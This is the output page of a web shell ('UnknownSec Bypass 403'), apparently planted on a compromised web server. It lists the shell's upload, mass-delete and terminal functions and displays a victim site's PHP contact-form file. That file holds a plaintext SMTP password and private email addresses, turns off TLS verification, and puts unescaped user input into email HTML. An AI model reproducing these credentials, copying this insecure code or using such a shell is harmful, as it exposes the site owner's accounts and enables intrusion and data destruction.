UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/
product_images
/
sym
/
root
/
var
/
www
/
stbilling
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
enquiry.php
<?php include "top.php";?> <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'phpmailer/src/Exception.php'; require 'phpmailer/src/PHPMailer.php'; require 'phpmailer/src/SMTP.php'; // passing true in constructor enables exceptions in PHPMailer $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Mailer = "smtp"; $output = ''; if(isset($_POST['submit'])){ //include "config.php"; $name=$_POST['name']; $email=$_POST['email']; $phone=$_POST['phone']; $address=$_POST['subject']; $address=$_POST['message']; try { if(!empty($name) && !empty($email) && !empty($phone)){ // Server settings $mail->SMTPDebug =0; //$mail->isSMTP(); $mail->SMTPAuth = true; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 25; $mail->Host = 'mail.skdblyhospitaliety.com'; $mail->Username = 'contact@skdblyhospitaliety.com'; // YOUR gmail email $mail->Password = 'Skdhospitalietybly123!@#'; // YOUR gmail password $mail->SMTPOptions = array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); /// Sender and recipient settings $mail->setFrom('contact@skdblyhospitaliety.com', 'BLB Lifecare Pharmaceutical Pvt. Ltd.'); $mail->addAddress("skdblyhospitalietycunsultant@gmail.com", "skdblyhospitalietycunsultant"); //$mail->addAddress("sadanandtechnologiesbly@gmail.com", "Sanjeev"); //$mail->addAddress("mrict@rediffmail.com ", "Sigma MRI Center"); $mail->addReplyTo($email, $name); // to set the reply to // Setting the email content $mail->IsHTML(true); $mail->Subject ="Enquiry From Customer/Client"; $mail->Body = "<h3>Name : $name <br>Email : $email <br>Mobile No. : $phone <br>Subject : $subject <br>Message : $message</h3>"; foreach ($_FILES["upload"]["name"] as $k => $v) { $mail->AddAttachment( $_FILES["upload"]["tmp_name"][$k], $_FILES["upload"]["name"][$k] ); } $mail->send(); echo '<script>alert("Thankyou! for contacting us, We will get back to you soon!"); window.location="doctor_enquiry.php"; </script>'; //$output = '<div class="alert alert-success"> // <h5>Thankyou! for contacting us, We will get back to you soon!</h5> //</div>'; }else { $output = '<div class="alert alert-danger"> <h5>All fields are required.</h5> </div>'; } } catch (Exception $e) { $output = '<div class="alert alert-danger"> <h5>' . $e->getMessage() . '</h5> </div>'; } } ?> <!-- main content start--> <div id="page-wrapper"> <div class="main-page compose"> <div class="col-md-12 widget-shadow"> <div class="panel-default"> <div class="panel-heading"> Compose New Message </div> <div class="panel-body"> <div class="alert alert-info"> Please fill details to send a new message </div> <form action="<?php $_SERVER['PHP_SELF'];?>" method="post" class="com-mail" enctype="multipart/form-data"> <input type="text" class="form-control1 control3" name="name" id="name" required="" placeholder="Name :"> <input type="number" class="form-control1 control3" name="phone" id="phone" required="" placeholder="Mobile No. :"> <input type="email" class="form-control1 control3" name="email" id="email" required="" placeholder="Email Id :"> <input type="text" class="form-control1 control3" name="subject" id="subject" placeholder="Subject :"> <textarea rows="6" class="form-control1 control2" name="message" id="message" placeholder="Message :" ></textarea> <div class="form-group"> <div class="btn btn-default btn-file"> <i class="fa fa-paperclip"></i> Attachment <input type="file" name="upload[]"> </div> <p class="help-block">Max. 2MB</p> </div> <input type="submit" name="submit" id="submit" value="Send Message"> </form> </div> </div> </div> <div class="clearfix"> </div> </div> </div> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec